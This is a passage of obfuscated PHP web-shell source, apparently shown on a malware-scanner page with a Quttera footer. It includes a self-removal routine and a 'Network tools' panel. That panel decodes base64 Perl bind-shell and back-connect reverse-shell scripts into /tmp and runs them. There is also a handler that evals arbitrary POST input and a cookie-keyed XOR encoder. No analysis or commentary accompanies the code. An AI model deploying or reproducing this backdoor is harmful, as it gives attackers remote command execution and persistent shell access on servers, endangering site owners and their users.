die('Shell has been removed');
} else {
echo 'unlink error!';
}
}
if ($_POST['ffbul'] != 'yes') {
alztgq();
}
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
gghivb();
}
function actionNetwork() {
alztgq();
$bisvgdaouark = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$qwqjrhgeqk = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if (isset($_POST['ffbul'])) {
function ykhkceglz($kegikgz, $jzmbftpvh) {
$bzwyoyzsh = @fopen($kegikgz, "w") or @function_exists('file_put_contents');
if ($bzwyoyzsh) {
@fwrite($bzwyoyzsh, @base64_decode($jzmbftpvh));
@fclose($bzwyoyzsh);
}
}
if ($_POST['ffbul'] == 'bpp') {
ykhkceglz("/tmp/bp.pl", $qwqjrhgeqk);
$ukfiydgpn = wyspra("perl /tmp/bp.pl " . $_POST['lcwvds'] . " 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$ukfiydgpn\n" . wyspra("ps aux | grep bp.pl") . "</pre>";
unlink("/tmp/bp.pl");
}
if ($_POST['ffbul'] == 'bcp') {
ykhkceglz("/tmp/bc.pl", $bisvgdaouark);
$ukfiydgpn = wyspra("perl /tmp/bc.pl " . $_POST['lcwvds'] . " " . $_POST['czqrjt'] . " 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre class=ml1>$ukfiydgpn\n" . wyspra("ps aux | grep bc.pl") . "</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
gghivb();
}
function actionRC() {
if (!@$_POST['ffbul']) {
$wfqujncfoiy = array(
"uname" => php_uname(),
"php_version" => phpversion(),
"safemode" => @ini_get('safe_mode')
);
echo serialize($wfqujncfoiy);
} else {
eval($_POST['ffbul']);
}
}
function wpzmyig($rzxlerhje) {
return llqjxrrh($rzxlerhje, $_COOKIE[md5($_SERVER['HTTP_HOST']) . "lefbbb"]);
}
function llqjxrrh($vnzygjkqtpo, $bbpzywhmbm) {
if (!$bbpzywhmbm) {
return null;
}
$vnzygjkqtpo = base64_encode($vnzygjkqtpo);
$bbpzywhmbm = base64_encode($bbpzywhmbm);
$ruefmpih = '';
$gfjqtyksj = '';
$eygfyajeuybn = 0;
while ($eygfyajeuybn < mb_strlen($vnzygjkqtpo)) {
for ($cxgixixeet = 0; $cxgixixeet < mb_strlen($bbpzywhmbm); $cxgixixeet++) {
$ruefmpih = uzdllbhk($vnzygjkqtpo, $eygfyajeuybn) ^ uzdllbhk($bbpzywhmbm, $cxgixixeet);
$gfjqtyksj .= chr($ruefmpih);
$eygfyajeuybn++;
if ($eygfyajeuybn >= mb_strlen($vnzygjkqtpo)) {
break;
}
}
}
return base64_encode($gfjqtyksj);
}
function uzdllbhk($qhrorxm, $kiypsrs) {
$egriro = mb_substr($qhrorxm, $kiypsrs, 1, 'UTF-8');
if (mb_check_encoding($egriro, 'UTF-8')) {
$cwsmbojxpnar = mb_convert_encoding($egriro, 'UTF-32BE', 'UTF-8');
return hexdec(bin2hex($cwsmbojxpnar));
} else {
return null;
}
}
if (empty($_POST['hmcqz'])) {
if (isset($npuhyomlnmo) && function_exists('action' . $npuhyomlnmo)) {
$_POST['hmcqz'] = $npuhyomlnmo;
} else {
$_POST['hmcqz'] = 'SecInfo';
}
}
if (!empty($_POST['hmcqz']) && function_exists('action' . $_POST['hmcqz'])) {
call_user_func('action' . $_POST['hmcqz']);
}
exit;
© 2023 Quttera Ltd. All rights reserved.